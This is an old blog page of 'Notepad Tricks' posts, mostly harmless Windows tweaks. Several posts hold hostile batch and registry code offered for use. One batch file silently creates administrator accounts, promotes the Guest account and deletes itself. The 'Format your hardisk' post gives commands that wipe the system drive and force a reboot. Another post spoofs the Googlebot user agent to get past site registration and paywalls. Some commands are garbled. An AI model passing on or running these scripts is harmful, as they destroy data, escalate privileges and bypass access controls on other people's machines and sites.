Showing posts with label Notepad Tricks. Show all posts
Showing posts with label Notepad Tricks. Show all posts
Convert a Guest account into an Admin
Posted by Gautam Aggarwal on Sunday, December 07, 2008
Convert a Guest account into an Admin?
All you need to do is copy the code below,
copy/paste it into Notepad and save it as Guest2admin.bat on your desktop.
echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Double-click the file to execute or type the above-given code in Command Prompt.
Note: this also creates a net account which is also accessable through nets open
Increasing options in add/remove programs
Posted by Gautam Aggarwal on Wednesday, August 27, 2008
Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf (where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of the file something like this:
[Components]
NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll, HydraOc, TsOc.inf,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7
This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
To this:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7
Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do a global find and replace for the word ",hide" and replace it with a single comma ",".
Check your Anti-Virus efficiency - Make a small virus yourself
Posted by Gautam Aggarwal on Wednesday, August 20, 2008
The Virus Source Code is for information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk!
* Open the NotePad program.
* Type this code like below into the NotePad file. (Copy and Paste it)
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
* Save the Notepad file as virus.com . To comfortably find the virus.com, I suggest placing it in the Desktop.
* Run the virus.com file to test your computer efficiency. If there are not any responses from the AntiVirus software, I suggest changing your AntiVirus immediately because it does not work anymore.
* Enjoy testing it and note that this virus.com cannot affect or damage any parts of your computer.
Use your NotePad As a Personal Diary
Posted by Gautam Aggarwal on Saturday, August 09, 2008
Use your NotePad As a Personal Diary
1. Open a blank notepad.
2. Write .LOG in the first line, press Enter.
3. Save the file and then close.
4. Reopen the file... you can see the current date and time now.
Write down your notes... Press enter again... save and close..
Everytime you open the file, the current date and time gets recorded.
Let The Light Flash On Your KeyBoard
Posted by Gautam Aggarwal on Saturday, July 05, 2008
These codes when executed makes your Caps, Num, Scroll lock keys flash..
very kewlll...i have tried it...
Instructions:
*paste any of the codes in notepad
*Save as AnyFileName.vbs
*Run the file
*to stop, launch task manager and then under "Processes", end wscript.exe
1.This piece of code makes your keyboard a live disco...
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop
2.This one makes it looks like a chain of light....
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 200
wshshell.sendkeys "{CAPSLOCK}"
wscript.sleep 100
wshshell.sendkeys "{NUMLOCK}"
wscript.sleep 50
wshshell.sendkeys "{SCROLLLOCK}"
loop
That's it for today's post, feel free to try and post comments.
Remove or modify Shortcut Arrow in windows and Vista
Posted by Gautam Aggarwal on Saturday, May 31, 2008
Would you prefer to display your shortcuts without the arrow in the bottom left hand corner? This tip will show you how to change the arrow icon or remove it completely
To remove the shortcut arrows:
Method 1:
1. Open your notepad or any script editor
2. Copy and paste the script below into you notepad and save the file with .vbs extension e.g noArrow.vbs, just save it to your desktop
Option Explicit
Dim objShell, strRoot, strRead, strDelete, strCreate
strRoot = “HKEY_CLASSES_ROOT\lnkfile\IsShortCut”
‘ Create the Shell object
Set objShell = CreateObject(”WScript.Shell”)
strDelete = objShell.RegDelete(strRoot)
WScript.Echo “Error No: ” & err.number & ” check ” & strRoot
strDelete = null
WScript.Quit
3. Double click your VBScript, then ‘OK’ the message box. To see the arrows disappear, simply logoff and logon again. Tadaaa!!!! The arrows disappear!!..hahaaaa
Method 2:
Open Registry editor
Go to HKEY_CLASSES_ROOT
Find piffile and lnkfile…………………….and just delete it.
Reboot your computer.
To Change the Icon:
Open the key [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Explorer\Shell Icons] and create a new string value, or modify the existing value, called ‘29′. Set it to equal the filename, including path, for the icon you want to use for the shortcut arrow. By setting this to a blank icon it has a similar effect to the removal method above, without the side effects.
Restart Windows for the changes to take effect.
Note: This tweak effectively changes the properties of shortcuts so they are no longer considered to be shortcuts by Windows, this may have some slight side effects, such as hot keys not working as before.
Add "copy to" and "move to" options in right click in XP
Posted by Gautam Aggarwal on Sunday, May 25, 2008
It is hard to move or copy a file/s or folder/s to specific location. There is a option called "Send to" on context menu but it has some limitation. You can send content through it just few locations like.. My Documents, Floppy Disk etc. If You can add "Copy to" and "Move to" options on Right click(context menu) then it will increase your file/folder transfer facility. You can Copy and Move your content anywhere on your machine through Right click(context menu). I have described a registry trick following here.
Copy-paste following text in notepad and save it with .reg extension. Then just merge/run it. You will get 2 new options on your Right click(context menu).
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers]
[HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers\Copy To] @="{C2FBB630-2971-11D1-A18C-00C04FD75D13}"
[HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers\Move To] @="{C2FBB631-2971-11D1-A18C-00C04FD75D13}"
Brand windows with your name and add your own photo
Posted by Gautam Aggarwal on Saturday, April 26, 2008
Open notepad dump the following lines into it and save it with the name OEMINFO.INI in the c:\windows\system32 directory:
——————————————————————-
[General]
Manufacturer=Your Name Here
Model=Your Model Here
[Support Information]
Line1=Your Name Here
Line2=Your Address Here
Line3=Your Email Address Here
———————————————————————
1. Save the file as OEMINFO.INI in the c:\windows\system32.
2. Then make a right click on my computer select properties, in the general tab a button will be highlighted (support information) make a click on it, you will be able to see the changes.
3. Now if you want to display some more information then simply increase the line in the file.
ex: Line4=Your Working Hours Here
You can also add your logo or photo
Create a bmp file(Your Photo) and save it the System32 folder as “oemlogo.bmp”(Without Quote).
CHAT YOUR FRIENDS THROUGH MS-DOS
Posted by Gautam Aggarwal on Saturday, April 05, 2008
1. All you need is your friends IP address and your Command Prompt.
2. Open your notepad and write tis code as it is……………… I would prefer you to copy this !
@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A
3. Now save this as "Messenger.Bat".
4. Drag this file (.bat file)over to Command Prompt and press enter!
5. You would then see some thing like this:
MESSENGER
User:
6. After "User" type the IP address of the computer you want to contact.
7. Before you press "Enter" it should look like this:
MESSENGER
User: IP_Address
Message: Hi, How are you ?
8. Now all you need to do is press "Enter", and start chatting Now all you need to do is press Enter, and start chatting.....
Comment if u liked it.. :)
Change Yahoo! Messenger Title Bar
Posted by Gautam Aggarwal on Wednesday, January 16, 2008
Change Yahoo! messenger title bar
Hey guys you can change the yahoo messenger title bar...
For this just find the folder messenger in the drive in which the messenger is installed. Then search a file named "ymsgr". Open it in "notepad".
In this file just go to the end and write the following code:
[APP TITLE]
CAPTION=Gautam's Messenger
Here you can write any name in place of "Gautam's Messenger"... then see the fun.... You can have your own name being placed in yahoo messenger title bar.
Secret Backdoor To Many Websites
Posted by Gautam Aggarwal on Wednesday, December 12, 2007
Ever experienced this? You ask Google to look something up; the engine returns with a number of finds, but if you try to open the ones with the most promising content, you are confronted with a registration page instead, and the stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first....
The lesson you should have learned here is: Obviously Google can go where you can't.
Can we solve this problem? Yes, we can. We merely have to convince the site we want to enter, that WE ARE GOOGLE.In fact, many sites that force users to register or even pay in order to search and use their content, leave a backdoor open for the Googlebot, because a prominent presence in Google searches is known to generate sales leads, site hits and exposure.Examples of such sites are Windows Magazine, .Net Magazine, Nature, and many, many newspapers around the globe.How then, can you disguise yourself as a Googlebot? Quite simple: by changing your browser's User Agent. Copy the following code segment and paste it into a fresh notepad file. Save it as Useragent.reg and merge it into your registry.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
@="Googlebot/2.1"
"Compatible"="+http://www.googlebot.com/bot.html"
Voila! You're done!
You may always change it back again.... I know only one site that uses you User Agent to establish your eligability to use its services, and that's the Windows Update site...
To restore the IE6 User Agent, save the following code to NormalAgent.reg and merge with your registry:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
@="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Format your hardisk with notepad:
Posted by Gautam Aggarwal on Tuesday, December 04, 2007
go to notepad
@Echo off
Del C:\ *.*y
save it as Dell.bat
or worse
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file
Deleting System Softwares
Posted by Gautam Aggarwal on Monday, December 03, 2007
XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.
Subscribe to:
Posts (Atom)